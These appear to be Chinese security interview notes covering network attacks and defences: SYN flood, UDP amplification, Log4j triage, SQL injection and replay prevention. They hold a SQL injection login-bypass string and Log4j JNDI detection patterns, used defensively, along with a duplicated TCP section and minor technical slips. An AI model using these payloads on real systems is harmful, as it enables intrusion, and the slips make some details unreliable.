if (i < userIds.size() - 1) {
sqlBuilder.append(", ");
}
}
sqlBuilder.append(")");

String sql = sqlBuilder.toString(); // 生成的SQL:SELECT * FROM users WHERE id IN (?, ?, ?)
PreparedStatement pstmt = conn.prepareStatement(sql);
for (int i = 0; i < userIds.size(); i++) {
pstmt.setInt(i + 1, userIds.get(i));
}
ResultSet rs = pstmt.executeQuery();

SYN 开放链接原理

SYN 扫描的原理是基于 TCP(传输控制协议)三次握手 的过程,但它并不会完成完整的三次握手

  1. 发送 SYN 包:渗透测试工具(如 Nmap)向目标主机的特定端口发送一个 SYN(同步) 数据包。这个包的作用是发起一个连接请求
  2. 接收 SYN/ACK 包
    • 如果目标主机的端口处于 开放(Open) 状态,它会响应一个 SYN/ACK(同步/确认) 数据包,表示它接受了连接请求,并准备好进行下一步的确认
    • 如果端口处于 关闭(Closed) 状态,目标主机通常会响应一个 RST(复位) 数据包,表示拒绝连接
    • 如果端口被防火墙过滤(Filtered),可能不会有任何响应,或者收到一个 ICMP(Internet 控制消息协议)的“目标不可达”消息
  3. 发送 RST 包:这是 SYN 扫描最关键的一步。在收到 SYN/ACK 包后,渗透测试工具并不会像正常连接那样发送最终的 ACK 包来完成三次握手。相反,它会立即发送一个 RST(复位) 数据包来终止连接

了解 Linux /proc 目录吗

/proc 目录的主要作用

/proc 目录主要用于以下几个方面:

  1. 进程信息:这是它最重要的功能。每个正在运行的进程都有一个以其进程 ID (PID) 命名的子目录。例如,PID 为 1234 的进程,其所有信息都存放在 /proc/1234/ 目录下
  2. 系统信息:它提供了大量关于系统硬件和内核状态的信息
  3. 内核参数调优:通过修改 /proc/sys/ 目录下的文件,你可以动态地调整内核参数,而无需重启系统

常见的 /proc 子目录和文件

下面详细介绍一些在应急响应和系统管理中特别常用的文件和目录

1. 进程相关的目录:/proc/<PID>/

  • /proc/<PID>/cmdline: 存储进程的完整启动命令,包括所有参数。这对于识别可疑进程非常有用
  • /proc/<PID>/exe: 一个指向进程可执行文件的符号链接。通过 ls -l 可以看到它实际指向的文件路径,比如 /usr/bin/nginx
  • /proc/<PID>/cwd: 指向进程的当前工作目录
  • /proc/<PID>/fd/: 存放了该进程所有打开的文件描述符的符号链接。我之前提到的 ls -l /proc/<PID>/fd/ 命令就是在这里工作的。通过它你可以迅速定位进程打开了哪些文件和网络连接
  • /proc/<PID>/status: 提供了更详细的进程状态信息,比如进程名、父进程ID、内存使用情况(VmSize)、进程权限(Uid

2. 系统信息文件

  • /proc/cpuinfo: 包含CPU的详细信息,如型号、核心数、缓存大小等
  • /proc/meminfo: 显示系统内存使用情况,包括总内存、可用内存、缓冲区和缓存
  • /proc/version: 包含Linux内核版本信息
  • /proc/mounts: 包含了当前系统中所有已挂载的文件系统,包括设备、挂载点、文件系统类型和挂载选项

3. 内核参数文件:/proc/sys/

这个目录允许你查看和修改内核的运行时参数

  • /proc/sys/net/ipv4/ip_forward: 控制 IPv4 数据包转发功能。值为 1 表示开启路由,0 表示关闭
  • /proc/sys/fs/file-max: 控制系统范围内可以打开的最大文件句柄数
  • /proc/sys/kernel/hostname: 显示或设置系统主机名

你可以用 echo 命令来修改这些参数,例如:

1
echo 1 > /proc/sys/net/ipv4/ip_forward

注意: 这种修改是临时的,系统重启后会失效。如果需要永久生效,应该修改 /etc/sysctl.conf 文件


如何监控 Linux 文件操

1. Auditd

Auditd 是 Linux 内核提供的、功能最强大且最专业的审计工具。它可以记录几乎所有的系统调用,包括文件读、写、执行等操作,并能根据规则进行过滤。

优点:

  • 全面而精准:可以精确地监控指定用户、指定目录或特定系统调用
  • 安全性高:即使系统被入侵,攻击者也很难篡改 auditd 的日志
  • 可配置性强:可以通过规则文件(/etc/audit/audit.rules)自定义监控策略。

如何使用:

  1. 安装:大多数发行版默认已安装。如果没有,可以通过 yum install auditapt-get install auditd 来安装

  2. 添加监控规则

    • 监控 /etc/ 目录下所有文件的写入、修改和权限变更:

      1
      auditctl -w /etc/ -p wa -k etc_changes
    • 监控所有对 rm 命令的调用:

      1
      auditctl -a always,exit -F arch=b64 -S unlink -S unlinkat -k file_deletion
  3. 查看日志:日志默认存放在 /var/log/audit/audit.log,可以使用 ausearchaureport 等工具进行查询和分析

适用场景:

  • 安全审计:监控关键系统文件和目录,确保符合安全合规要求
  • 事后取证:当发生安全事件时,可以从日志中追踪攻击者的文件操作行为

2. inotifywait

inotify 是 Linux 内核提供的文件系统事件监控接口,而 inotifywait 是一个命令行工具,它利用这个接口实时监控文件或目录的事件,比如创建、删除、修改等

优点:

  • 实时性:可以实时监控文件系统的变化
  • 轻量级:安装和使用都很简单,对系统资源占用很小
  • 精确监控:可以监控特定的事件类型

如何使用:

  1. 安装yum install inotify-toolsapt-get install inotify-tools

  2. 开始监控

    • 实时监控 /tmp 目录下的创建、删除、移动和写入操作:

      1
      inotifywait -m -r -e create,delete,move,modify /tmp/
    • -m:持续监控

    • -r:递归监控子目录

    • -e:指定要监控的事件

适用场景:

  • 脚本化监控:可以轻松地集成到 shell 脚本中,当发生特定文件操作时,自动触发报警或执行其他操作
  • 快速排查问题:例如,某个应用程序突然写入了大量日志文件,你可以用 inotifywait 来快速定位是哪个文件被修改了

3. FIM 工具

FIM 工具,如 TripwireAIDE(Advanced Intrusion Detection Environment),通过定期计算文件的哈希值(如 SHA256),来监控文件的完整性。如果哈希值发生变化,则说明文件被修改

优点:

  • 强大的事后取证能力:能够准确地识别出哪些文件在何时被修改
  • 防御篡改:可以检测到攻击者对系统文件、恶意软件的篡改

如何使用(以 AIDE 为例):

  1. 安装yum install aideapt-get install aide

  2. 创建基线数据库:在系统干净时运行,生成文件的哈希值数据库

    1
    aide --init
  3. 移动数据库:将生成的 aide.db.new.gz 文件改名为 aide.db.gz 并移动到安全位置

  4. 定期检查

    1
    aide --check

    这会与基线数据库进行对比,并报告所有变更

适用场景:

  • 系统加固:定期检查关键系统文件(如 /etc/bin)是否被非法修改
  • 入侵检测:当怀疑系统被入侵时,FIM 工具能迅速找出被篡改的文件

Windows Defender 安全机制

1. 实时保护

这是最基础也是最重要的功能。它会持续监控你的系统,检查你打开、下载或运行的每一个文件和程序。如果发现任何可疑行为或已知的恶意软件,它会立即阻止并隔离威胁

2. 云端保护

这是 Defender 现代化的关键。当一个新文件被发现时,Defender 会快速将它的哈希值发送到微软的智能安全图谱 (Microsoft Intelligent Security Graph)。这个庞大的数据库包含了来自全球数十亿台设备的威胁情报。如果这个文件已经被识别为恶意,Defender 会在毫秒级的时间内做出响应,阻止威胁。即使是一个全新的、未知的病毒,如果它的行为模式与已知的恶意软件相似,云端也会快速分析并标记它

3. 行为监控

Defender 不仅仅依赖签名库。它还会监控程序的行为。例如,如果一个正常程序突然开始尝试修改系统关键文件、加密你的个人文件(勒索软件的典型行为),或者尝试进行网络连接,Defender 就会将其标记为可疑并阻止。这种机制可以有效防御那些没有被病毒库收录的“零日漏洞”攻击。

4. 防火墙与网络保护

Windows Defender 防火墙是另一道重要的防线。它可以控制进出你电脑的所有网络流量。你可以设置规则来允许或阻止特定程序访问网络,从而防止恶意软件与外部服务器进行通信,或者阻止黑客从外部入侵你的系统


什么是 TCP 粘包/拆包

什么是 TCP 粘包?

TCP 粘包 (Nagle’s Algorithm) 指的是发送方发送的多个数据包,在接收端看起来就像是一个大的数据包。简单来说,就是多个独立的报文被“粘”在一起了

这通常发生在以下情况:

  • 发送方发送频率快,数据量小:当发送方以极快的速度发送多个小数据包时,TCP 协议的 Nagle 算法会为了提高网络利用率,将这些小数据包缓存起来,直到积累到一定大小或者收到接收方的 ACK 确认后,才一次性发送出去
  • 接收方读取速度慢:当接收方应用程序从缓冲区读取数据时,如果一次性读取了多个数据包,就会发生粘包

举个例子:

假设客户端连续发送了两个数据包,内容分别是 “Hello”“World”

  1. 发送方将 “Hello” 发送出去
  2. 发送方很快又发送 “World”,但此时网络可能拥塞,或 Nagle 算法正在等待
  3. TCP 将这两个数据包合并,一次性发送给接收方
  4. 接收方在接收缓冲区中收到的是 “HelloWorld”

接收端的应用程序在读取时,无法区分出这是两个独立的消息,因此造成了粘包问题

什么是 TCP 拆包?

TCP 拆包与粘包相反,指的是一个完整的数据包被拆分成多个小数据包进行发送

这通常发生在以下情况:

  • 发送的数据包过大:当发送的数据包超过 TCP 缓冲区的最大值时,TCP 会自动将其拆分为多个数据包进行传输
  • 网络传输过程中出现拥塞:网络拥塞时,路由器或防火墙可能会对数据包进行分片(fragmentation)。

举个例子:

假设客户端发送了一个 2000 字节的数据包,但网络 MTU(最大传输单元)是 1500 字节

  1. 发送方将 2000 字节的数据包拆分为两个数据包:第一个 1500 字节,第二个 500 字节
  2. 接收方在接收缓冲区中先收到 1500 字节的数据,然后又收到 500 字节的数据

接收端应用程序在读取时,可能只读取到一部分数据,导致无法获得一个完整的消息,从而造成拆包问题


什么是 TCP 粘包/拆包

什么是 TCP 粘包?

TCP 粘包 (Nagle’s Algorithm) 指的是发送方发送的多个数据包,在接收端看起来就像是一个大的数据包。简单来说,就是多个独立的报文被“粘”在一起了

这通常发生在以下情况:

  • 发送方发送频率快,数据量小:当发送方以极快的速度发送多个小数据包时,TCP 协议的 Nagle 算法会为了提高网络利用率,将这些小数据包缓存起来,直到积累到一定大小或者收到接收方的 ACK 确认后,才一次性发送出去
  • 接收方读取速度慢:当接收方应用程序从缓冲区读取数据时,如果一次性读取了多个数据包,就会发生粘包

举个例子:

假设客户端连续发送了两个数据包,内容分别是 “Hello”“World”

  1. 发送方将 “Hello” 发送出去
  2. 发送方很快又发送 “World”,但此时网络可能拥塞,或 Nagle 算法正在等待
  3. TCP 将这两个数据包合并,一次性发送给接收方
  4. 接收方在接收缓冲区中收到的是 “HelloWorld”

接收端的应用程序在读取时,无法区分出这是两个独立的消息,因此造成了粘包问题

什么是 TCP 拆包?

TCP 拆包与粘包相反,指的是一个完整的数据包被拆分成多个小数据包进行发送

这通常发生在以下情况:

  • 发送的数据包过大:当发送的数据包超过 TCP 缓冲区的最大值时,TCP 会自动将其拆分为多个数据包进行传输
  • 网络传输过程中出现拥塞:网络拥塞时,路由器或防火墙可能会对数据包进行分片(fragmentation)。

举个例子:

假设客户端发送了一个 2000 字节的数据包,但网络 MTU(最大传输单元)是 1500 字节

  1. 发送方将 2000 字节的数据包拆分为两个数据包:第一个 1500 字节,第二个 500 字节
  2. 接收方在接收缓冲区中先收到 1500 字节的数据,然后又收到 500 字节的数据

接收端应用程序在读取时,可能只读取到一部分数据,导致无法获得一个完整的消息,从而造成拆包问题


HTTP 长连接和短连接的区别

什么是 HTTP 短连接?

HTTP 短连接指的是浏览器和服务器每进行一次 HTTP 操作(如获取一个 HTML 文件、一张图片或一个 CSS 文件),就建立一次 TCP 连接,传输完毕后立即断开连接

工作流程:

  1. 建立连接:客户端(浏览器)向服务器发起 TCP 连接(三次握手)
  2. 发送请求:客户端发送 HTTP 请求
  3. 发送响应:服务器发送 HTTP 响应
  4. 断开连接:服务器和客户端立即断开 TCP 连接(四次挥手)
  5. 重复:如果客户端还需要请求其他资源,就必须重复上述所有步骤

特点:

  • 优点:实现简单,服务器在请求处理完毕后立即释放资源,适合请求频率较低的场景
  • 缺点
    • 性能开销大:每次请求都需要经过 TCP 三次握手和四次挥手,这会增加大量的网络延迟
    • 资源消耗高:大量的连接建立和断开操作会消耗服务器和客户端的 CPU 和内存资源

什么是 HTTP 长连接?

HTTP 长连接(也称作 HTTP Keep-AliveHTTP Persistent Connection)指的是浏览器和服务器建立 TCP 连接后,在一次请求/响应完成后,不会立即断开连接,而是保持连接状态。后续的请求和响应可以在这个已建立的连接上继续进行

工作流程:

  1. 建立连接:客户端向服务器发起 TCP 连接(三次握手)
  2. 发送请求:客户端发送 HTTP 请求
  3. 发送响应:服务器发送 HTTP 响应
  4. 保持连接:连接保持打开状态
  5. 重复:客户端继续在这个连接上发送下一个请求,直到客户端或服务器决定关闭连接
  6. 断开连接:当某个条件满足时(例如达到超时时间或请求数量上限),连接才会断开

特点:

  • 优点
    • 性能更高:省去了大量的 TCP 连接建立和断开的开销,显著减少了网络延迟
    • 资源利用率高:减少了服务器的 CPU 和内存资源消耗
  • 缺点
    • 资源占用:服务器需要为每个活跃的连接维护状态,如果连接数量过多,可能会占用大量服务器资源
    • 实现复杂:服务器端需要更精细的超时管理机制
特性 短连接 (Non-Persistent) 长连接 (Persistent)
连接管理 一次请求/响应后立即断开 保持连接,重复利用
TCP 开销 高(每次请求都需建立/断开) 低(只在首次建立和最后断开)
性能 低,网络延迟高 高,传输效率更高
应用场景 访问频率低的静态网页 频繁请求、动态内容多的网站,如电商、社交媒体
HTTP 版本 HTTP/1.0 默认 HTTP/1.1 默认开启

Xrange() 和 range() 返回的是什么

range

在 Python 2 中,range() 函数返回一个列表(list)。它会立即生成所有数字,并将它们存储在内存中

1
2
3
4
# Python 2
my_list = range(5)
print my_list
# 输出: [0, 1, 2, 3, 4]

优点:

  • 它可以直接用于索引和切片,因为返回的是一个列表

缺点:

  • 内存消耗大:如果你需要生成一个非常大的数字序列(例如 range(1000000000)),它会占用大量的内存,可能导致程序崩溃或运行缓慢
  • 速度慢:生成大列表需要时间,这会影响程序的启动速度

xrange

在 Python 2 中,xrange() 函数返回一个生成器对象(xrange object)。它并不会一次性生成所有数字,而是在你迭代它的时候,按需**惰性(lazily)**地生成每一个数字

1
2
3
4
# Python 2
my_generator = xrange(5)
print my_generator
# 输出: xrange(5)

优点:

  • 内存效率高:它只存储生成规则,而不是所有数字,因此非常节省内存,即使处理巨大的数字序列也毫无压力
  • 速度快:因为它不需要提前生成整个列表,所以速度非常快

缺点:

  • 不支持索引和切片,因为对象中并没有存储所有数字。你只能通过循环来访问其中的元素

Python 3 中的变化

在 Python 3 中,range() 函数被重新设计,它的行为和 Python 2 中的 xrange() 一样,返回一个可迭代对象(range object),而不是列表

xrange() 函数在 Python 3 中被移除

特性 Python 2 range() Python 2 xrange() Python 3 range()
返回类型 list (列表) xrange object (生成器) range object (可迭代对象)
内存使用 高(立即生成所有数字) 低(惰性生成) 低(惰性生成)
支持索引
性能 慢(处理大序列时)
是否推荐 不推荐 推荐 推荐

怎么防重放攻击

1. 使用一次性令牌 (Nonce) 或时间戳

这是最常见也最有效的防范手段。核心思想是确保每个请求都是唯一的,即使被截获也无法再次使用

  • 一次性令牌 (Nonce): 这是一个随机生成的、只使用一次的字符串
    • 工作原理: 服务器在发送给客户端的页面中嵌入一个隐藏的 Nonce。客户端在发送请求时,必须将这个 Nonce 包含在内。服务器端会验证这个 Nonce 是否被使用过。如果 Nonce 数据库中已存在,则拒绝该请求
    • 优点: 安全性高,能有效防止攻击者重复使用旧的请求
    • 缺点: 需要在服务器端维护一个 Nonce 数据库,增加了状态管理的复杂性
  • 时间戳 (Timestamp): 在请求中加入当前时间戳
    • 工作原理: 客户端在发送请求时,将当前时间戳也作为参数发送。服务器接收到请求后,会检查时间戳是否在设定的有效时间窗口内(例如,30秒)。如果时间戳过期,则拒绝请求
    • 优点: 实现简单,不依赖于 Nonce 数据库
    • 缺点: 依赖于客户端和服务器时间的同步,如果两者时间差异较大,可能会导致正常请求被拒绝

2. 添加序列号

在通信协议中为每个请求添加一个递增的序列号

  • 工作原理: 客户端在发送请求时,将一个单调递增的序列号也包含在内。服务器端会记录每个客户端会话的最新序列号。如果收到一个序列号比当前记录的小或等于的请求,则认为这是重放攻击,并拒绝该请求
  • 优点: 简单有效,特别适用于有序的协议
  • 缺点: 如果序列号在传输过程中丢失或被修改,可能会导致同步问题

3. 使用安全哈希和消息认证码

这种方法可以验证消息的完整性和来源,从而发现消息是否被篡改或重放

  • 工作原理: 客户端在发送请求时,使用共享密钥对整个请求数据(包括时间戳或 Nonce)计算一个消息认证码 (MAC),并将 MAC 附加在请求后面。服务器端收到请求后,用同样的密钥和数据重新计算 MAC,如果两个 MAC 不匹配,则请求无效
  • 优点: 提供了数据完整性校验和来源认证,能够防御篡改和重放攻击
  • 缺点: 需要安全地管理和分发共享密钥。

4. 限制请求有效期

即使没有上述复杂的机制,也可以通过限制请求的有效期来增加重放攻击的难度

  • 工作原理: 服务器可以为每个请求设置一个短暂的生命周期。例如,当客户端请求登录凭证时,服务器可以返回一个有效期为 5 分钟的令牌。如果攻击者截获了这个令牌,它只能在 5 分钟内使用,过期后即失效
  • 优点: 简单且易于实现
  • 缺点: 不能完全防止在短时间内进行的重放攻击

如何判断 Log4j 攻击成功

1. 应用程序日志排查

Log4j 漏洞的本质是利用 JNDI 注入,所以攻击者会在 HTTP 请求头(如 User-AgentRefererX-Api-Version 等)中注入恶意字符串

  • 恶意字符串特征
    • ${jndi:ldap://...}
    • ${jndi:rmi://...}
    • ${jndi:dns://...}
  • 排查方法
    • 检查 Web 服务器(如 Nginx, Apache)的 access.logerror.log,以及应用程序自身的日志
    • 使用 grep 命令搜索上述恶意字符串
    • 示例命令grep -r "jndi:ldap" /var/log/apache2/

2. 外部网络连接排查

当 Log4j 漏洞被成功利用后,受影响的应用程序会向攻击者指定的恶意 LDAP/RMI 服务器发起连接,以加载和执行恶意代码

  • 排查方法
    • 检查系统的网络连接日志
    • 使用 netstatss 命令查看是否有异常的、指向外部的 TCP 连接
    • 示例命令netstat -tulnp | grep LISTENnetstat -tulnp | grep ESTABLISHED
  • 需要警惕的连接
    • 应用程序进程(如 Java)发起的、指向高端口(例如 8080、9001 等)的外部连接
    • 那些不是正常业务所需、但由 Java 进程发起的异常连接

3. 进程行为排查

如果攻击者成功加载并执行了恶意代码,通常会产生新的进程。这些进程可能是反向 Shell、挖矿程序或其他的后门程序

  • 排查方法
    • 使用 ps -eftop 命令检查正在运行的进程
    • 关注与 Java 父进程不相关的、异常的子进程。例如,Java 进程下启动了一个名为 bashsh 的子进程
    • 重点关注
      • 异常的进程名:如 httpd-kdevtmpfsi 等,这些通常是挖矿程序的伪装名
      • 异常的 CPU 和内存占用:如果发现某个进程(尤其是非正常业务进程)占用了大量 CPU 资源,可能是挖矿程序

4. 系统文件和计划任务排查

攻击者为了实现持久化控制,通常会在系统中留下后门

  • 排查方法

    • 检查 /tmp/var/tmp 目录下是否有异常的可执行文件或脚本
    • 检查 cron 计划任务(如 /etc/cron.d/)或 Windows 的任务计划程序,看是否有可疑的定时任务
    • 检查用户的 ~/.ssh/authorized_keys 文件,看是否被添加了未知的公钥

    讲讲 SYN FLOOD 原理,防御,检测手段

SYN Flood 攻击原理

SYN Flood 是一种利用 TCP 三次握手过程中的漏洞发起的攻击

正常的三次握手流程:

  1. SYN:客户端向服务器发送一个 SYN 包,请求建立连接
  2. SYN-ACK:服务器收到 SYN 包后,分配资源,并回复一个 SYN-ACK
  3. ACK:客户端收到 SYN-ACK 后,回复一个 ACK 包,三次握手完成,连接建立

SYN Flood 攻击原理: 攻击者利用这个过程,向服务器发送大量的 SYN 包。但与正常连接不同的是,攻击者不会回复第三步的 ACK

  1. 大量 SYN 包:攻击者利用伪造的源 IP 地址(以隐藏自己的真实身份),向目标服务器发送海量的 SYN
  2. 服务器资源耗尽:服务器收到每个 SYN 包后,都会为它在半开连接队列(Half-Open Connection Queue)中分配一个连接状态,并发送一个 SYN-ACK
  3. 无响应:由于攻击者使用的是伪造的 IP 地址,服务器发送的 SYN-ACK 包永远不会被响应
  4. 队列饱和:随着半开连接队列被大量伪造连接迅速填满,服务器无法再处理新的合法连接请求。最终,新的正常用户无法连接,导致服务不可用,即达到了拒绝服务攻击的目的

这种攻击的危害在于,攻击者利用极小的代价,就可以耗尽服务器大量的内存和 CPU 资源

SYN Flood 防御手段

防御 SYN Flood 攻击主要从两个方向入手:增加服务器处理能力优化连接处理机制

1. 调整 TCP/IP 参数

这是最简单直接的防御措施,可以通过修改 Linux 内核参数来增加半开连接队列的容量和缩短超时时间

  • net.ipv4.tcp_max_syn_backlog: 增加这个参数的值,可以增大半开连接队列的容量
  • net.ipv4.tcp_synack_retries: 减少服务器发送 SYN-ACK 重试的次数,从而缩短半开连接的超时时间,更快地释放资源

2. SYN Cookie

这是一种非常有效的防御机制,它改变了服务器处理 SYN 包的方式,使其在受到攻击时表现得更加健壮

工作原理:

  1. 不分配资源:服务器收到 SYN 包后,不会立即为它分配资源
  2. 生成 Cookie:服务器将客户端的 IP、端口、MSS 等信息,加上一个服务器独有的密钥,通过哈希算法生成一个 SYN Cookie
  3. 发送 SYN-ACK:服务器把这个 SYN Cookie 作为 TCP 序列号,发送 SYN-ACK
  4. 客户端回复:如果客户端是合法的,它会回复一个 ACK 包,该包中的序列号正是 SYN Cookie 加 1 的值
  5. 验证 Cookie:服务器收到 ACK 包后,不检查半开连接队列,而是根据其中的序列号,反向计算并验证 SYN Cookie。如果验证成功,才分配资源并建立连接

这种机制的优点是,在完成三次握手前,服务器不会为连接分配任何资源,从而大大降低了被 SYN Flood 攻击的风险。

3. 硬件和软件防火墙

现代防火墙和入侵检测系统(IDS)通常内置了 SYN Flood 检测和防御功能

  • 速率限制:对来自同一 IP 或同一网段的 SYN 请求进行速率限制
  • 白名单/黑名单:通过规则限制可疑 IP 的访问
  • 使用负载均衡器:将请求分发到多台服务器,可以分散攻击流量

SYN Flood 检测手段

及时发现 SYN Flood 攻击是防御的第一步。

1. 系统网络状态监控

使用 netstatss 命令是监控 TCP 连接状态最常用的方法

1
2
3
4
# 查看所有 TCP 连接
netstat -nt | grep tcp
# 使用 ss 查看 SYN_RECV 状态的连接
ss -s
  • 在正常情况下,SYN_RECV 状态的连接数量应该很小。如果这个数字突然暴增,就可能正在遭受 SYN Flood 攻击

2. 网络流量分析

使用网络抓包工具(如 tcpdump)可以对流量进行深入分析

1
2
# 只抓取 SYN 包
tcpdump -n 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0'
  • 分析结果:如果抓到的流量中,大部分都是带有伪造源 IP 的 SYN 包,且没有后续的 ACK 包,那么基本可以断定是 SYN Flood 攻击

3. IDS/IPS 日志

如果系统中部署了入侵检测系统(IDS)或入侵防御系统(IPS),它们会记录可疑的网络流量。通过查看 Snort、Suricata 等工具的日志,可以快速发现大量来自同一源 IP 或不同源 IP 的 SYN 攻击事件


讲讲 UDP 反射放大的原理,防御,检测手段

UDP 反射放大攻击原理

UDP 反射放大攻击利用的是 UDP 协议的无连接性和一些 特定协议的请求/响应不对称性。攻击者不会直接攻击目标,而是通过中间服务器作为“放大器”,将小流量的请求放大成大流量的响应,然后将这些响应全部导向受害者

工作流程:

  1. 伪造请求:攻击者首先伪造一个请求包,将源 IP 地址设置为受害者的 IP 地址。这个请求包通常非常小
  2. 发送给放大器:攻击者将这个伪造的请求包发送给互联网上大量的开放服务,这些服务被称为“放大器”,例如 DNS 服务器、NTP 服务器、SSDP 服务等
  3. 触发放大:这些放大器收到请求后,由于 UDP 协议不需要验证源 IP,它们会认为这个请求是合法的,并生成一个相应的响应包
  4. 反射与放大:这个响应包被发送到伪造的源 IP 地址,即受害者的服务器。关键是,某些协议的响应包要比请求包大得多。例如,一个 60 字节的 DNS 查询请求,可能得到一个 3000 字节的响应。这个比率就是放大倍数(Amplification Factor)
  5. 洪水攻击:攻击者利用少量的请求流量,就可以通过成百上千个放大器,将巨大的响应流量反射到受害者服务器,导致其网络带宽耗尽,服务不可用

UDP 反射放大攻击防御手段

防御这类攻击需要从多个层面入手,包括源头控制、网络路由和目标保护。

1. BCP38(入站过滤)

这是从源头遏制攻击的最佳方法。 BCP38 是 RFC2827 提出的最佳实践,要求网络服务提供商(ISP)在其网络边缘,对所有出站的数据包进行源 IP 地址验证

  • 工作原理:ISP 检查其客户发出的数据包。如果数据包的源 IP 地址不属于该客户分配的 IP 地址块,ISP 就应该丢弃这个数据包
  • 防御效果:这可以阻止攻击者伪造源 IP 地址,从而使反射放大攻击无法成功。

2. 服务端加固

作为服务器管理员,可以对自己的服务进行配置,防止被用作放大器

  • 关闭不必要的 UDP 服务:例如,如果不需要 DNS 解析或 NTP 服务,应关闭 UDP 端口 53 和 123
  • 限制请求速率:对高放大倍数的 UDP 服务(如 DNS、NTP)设置请求速率限制
  • 禁用不安全的协议功能:例如,禁用 DNS 服务的递归查询功能,或只允许内部 IP 进行递归查询

3. 网络流量清洗(Traffic Scrubbing)

当攻击发生时,这是最有效的应对措施

  • 工作原理:流量清洗服务提供商(如 Cloudflare, Akamai)拥有巨大的网络带宽。当检测到 DDoS 攻击时,会将受害者的流量引导到其清洗中心
  • 过滤机制:清洗中心通过协议分析和异常流量检测,识别并丢弃恶意流量,只将干净的正常流量转发给受害者
  • 防御效果:这能有效吸收和过滤掉大量的反射放大流量,保护目标服务器

4. 限制 UDP 速率

在防火墙、路由器或服务器上,对 UDP 流量进行速率限制

  • 工作原理:配置防火墙规则,限制特定 UDP 端口(如 53, 123)的入站流量速率
  • 优点:简单易行
  • 缺点:可能会误伤正常的 UDP 流量,导致服务不可用

UDP 反射放大攻击检测手段

检测这类攻击通常依赖于流量监控和异常行为分析

1. 流量监控与分析

  • 流量突然暴增:这是最直观的指标。监控网络流量图,如果 UDP 入站流量在短时间内激增,可能就是遭受了攻击
  • 端口异常:分析入站流量。如果来自不常用或特定的 UDP 端口(如 53、123、1900)的流量异常增多,可能就是攻击正在进行
  • 数据包大小:使用 tcpdump 或流量分析工具,观察入站 UDP 包的大小。如果大部分入站 UDP 包都异常大,而对应端口的出站请求包却很少,这正是反射放大攻击的典型特征

2. 系统日志与连接状态

  • 系统负载:检查服务器的 CPU 和网络接口的负载情况。大量的入站流量会消耗 CPU 资源进行数据包处理,并迅速填满网络带宽
  • 服务日志:查看 DNS、NTP 等服务的日志,如果发现异常多的请求,特别是来自大量的不同 IP 地址的请求,可能是攻击者在扫描和利用放大器

给你一个告警的内网 IP,怎么快速定位到他在哪栋楼哪层

(优质的甲方是会给资产表的!!!)

1. 找到 IP 地址所在的子网掩码

​ 1.1 通过查看 IP 地址和子网掩码可以确定这个 IP 地址所在的子网范围,从而缩小搜索范围

2. 确定 IP 地址的 MAC 地址

​ 2.1 可以通过 ARP 请求获取到 IP 地址对应的 MAC 地址,然后查找交换机或路由器的 ARP 缓存表,找到 MAC 地址对应的端口

3. 确定交换机或路由器的位置

​ 3.1 根据找到的交换机或路由器的端口,可以通过查看设备的物理位置和 IP 地址,确定设备的位置

4. 确定线缆连接位置

​ 4.1 如果找到的设备有多个端口,则需要检查哪个端口连接了目标 IP 地址所在的子网,进而找到线缆的连接位置

5. 确定线缆的路径

​ 5.1 根据线缆的连接位置,可以确定线缆的路径,从而确定目标IP地址的物理位置


SQL 注入防御方法

1. 使用预编译语句

这是最有效、也是最推荐的防御方法。预编译语句会先将 SQL 语句发送到数据库进行编译,然后将用户输入作为参数传递给编译好的语句。这样一来,用户输入的数据就无法改变 SQL 语句本身的结构

  • 原理:将 SQL 语句与用户输入的数据分开处理。数据库会把用户输入的内容看作纯粹的数据,而不是可执行的代码
  • 示例
    • 不安全的代码"SELECT * FROM users WHERE username = '" + userInput + "';"
      • 如果 userInput' OR 1=1 --,整个语句就变成了 SELECT * FROM users WHERE username = '' OR 1=1 --;,从而绕过登录验证
    • 安全的预编译语句"SELECT * FROM users WHERE username = ?;"
      • 这里的问号 ? 是一个占位符。无论用户输入什么,都会被当作 username 字段的值来处理,而不是 SQL 代码

2. 对所有用户输入进行严格验证和过滤

永远不要相信用户的任何输入。在将数据送入数据库之前,必须对其进行验证和过滤

  • 白名单验证:只允许特定的字符、格式或值通过。例如,如果某个输入框只接受数字,那么就只允许数字通过
  • 黑名单过滤:禁止某些特定的危险字符或字符串,如单引号 '、分号 ;、双破折号 -- 等。但是,这种方法很容易被绕过,不推荐作为主要的防御手段

3. 使用 ORM 框架

许多现代编程语言的框架都提供了 ORM 工具,例如 Java 的 Hibernate、Python 的 SQLAlchemy、PHP 的 Eloquent。这些框架通常内置了对 SQL 注入的保护机制

  • 优点
    • 安全性:ORM 框架会自动处理参数绑定,将开发者从手动编写安全 SQL 语句的繁琐工作中解放出来
    • 易用性:开发者可以使用面向对象的方式操作数据库,无需直接编写 SQL 语句

4. 最小权限原则

为数据库账户分配最小的权限。一个账户如果只需要读取数据,就只给它 SELECT 权限,不要给它 INSERTUPDATEDELETE 权限

  • 好处:即使攻击者成功注入了 SQL 代码,也无法执行超出该账户权限范围的操作,如删除整个数据库

5. 错误信息处理

不要向用户暴露详细的数据库错误信息。攻击者可以利用这些信息来了解数据库结构、版本等,从而更容易发起下一次攻击

  • 正确做法:当数据库查询失败时,只向用户显示一个通用的、友好的错误页面,并在后台日志中记录详细信息,供开发者排查

6. 使用 Web 应用防火墙(WAF)

WAF 可以在 Web 应用之前对 HTTP 请求进行过滤和拦截,它可以识别并阻止包含 SQL 注入特征的恶意请求

  • 优点

    • 全面保护:可以为整个应用提供一层额外的保护
    • 实时拦截:在攻击到达应用之前就将其阻止
  • 局限性

    • WAF 的规则可能需要不断更新,以应对新的攻击方式
    • 可能会有误报,影响正常用户的访问

    数万条告警怎么快速找到攻击成功的告警

优先过滤掉无效告警和误报告警,从而大幅降低分析成本

  • 无效告警的判断:无效告警通常是由于攻击者对非活跃或不存在的资产进行扫描而产生的。例如,攻击者对某个 C 段进行批量扫描,尽管安全设备产生了告警,但如果被扫描的 IP 根本没有运行任何服务,那么这个告警就是无效的
  • 误报告警的判断:误报告警通常是由于安全设备的特征规则被非攻击行为意外触发。我们可以通过以下方式来判断:
    • 流量分析:分析流量数据包,看它是否符合正常的业务操作
    • HTTP状态码与页面回显:检查告警中 URL 的 HTTP 状态码。如果状态码是 404(未找到),或者页面回显数据是通用错误信息,那么这很可能是一次未成功的攻击尝试,可以作为误报的判断条件

经过第一步的筛选后,剩下的告警就更有分析价值了。我们需要从这些“待分析告警”中提取攻击特征,并将其与情报线索进行关联

  • 提取攻击特征:从告警日志中提取关键信息,例如攻击的 Payload

